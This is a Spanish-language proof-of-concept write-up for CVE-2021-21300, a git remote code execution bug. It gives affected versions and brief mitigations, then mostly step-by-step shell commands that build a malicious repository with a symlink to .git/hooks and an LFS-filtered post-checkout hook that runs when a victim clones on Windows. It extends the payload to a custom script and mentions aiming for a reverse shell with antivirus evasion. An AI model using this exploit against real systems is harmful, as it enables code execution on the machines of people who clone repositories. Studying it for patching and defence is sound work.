
Prueba de concepto del exploit para CVE-2021-21300, que demuestra la ejecución remota de código mediante la clonación de un repositorio git malicioso con abuso de enlaces simbólicos y filtros en sistemas de archivos que no distinguen entre mayúsculas y minúsculas.
En múltiples versiones de git, el manejo de los enlaces simbólicos no es estricto. Después de subir archivos a git en un sistema de archivos sensible a mayúsculas (por ejemplo, Linux), clonar un repositorio malicioso en un host que utilice un sistema de archivos insensible a mayúsculas (por ejemplo, Windows) puede provocar la ejecución remota de comandos.
De 2.15 a la actual 2.30.1
Actualizar la versión
Como se indica a continuación:
Deshabilitar el symlink de git: git config --global core.symlinks false
Deshabilitar el filtro de proceso (normalmente LFS usa esta función); se puede comprobar mediante git config --show-scope --get-regexp 'filter..*.process
En el repositorio hay un enlace simbólico y un directorio con el mismo nombre.
El enlace simbólico apunta a un directorio especial (actualmente parece ser .git/hooks).
La máquina víctima necesita tener permisos suficientes para ejecutar comandos maliciosos.
Sistema: ubuntux64
Es necesario instalar git, git-lfs
Ejecutar el comando git lfs install puede reportar un error
Error: Failed to call git rev-parse --git-dir: exit status 128
Puede ignorarse
Cuando aparezca Git LFS initialized. la instalación estará completa.
Sistema: win10x64
git for Windows: Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
La instalación de git for Windows puede dejarse toda por defecto.
Hay muchos tutoriales en línea al respecto; no se ampliará aquí.
Ejecute los siguientes comandos:
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
En el powershell (administrador) de win10, ejecute el siguiente comando:
git clone -c core.symlinks=true [自己的仓库地址]
Después del clone, si aparece PWNED, la ejecución remota de comandos es exitosa.
Se puede observar que, durante el clone, se ejecutaron los comandos del archivo post-checkout.
La idea es usar IEX para descargar un script y luego obtener una shell a través de la escucha en Kali, pero la mayoría de los scripts serán detectados y bloqueados; mediante evasión de antivirus debería ser posible lograrlo.
Agregue el archivo de script hack.sh en el directorio.
Contenido:
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
Modifique el comando ejecutado en post-checkout para ejecutar el script:
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout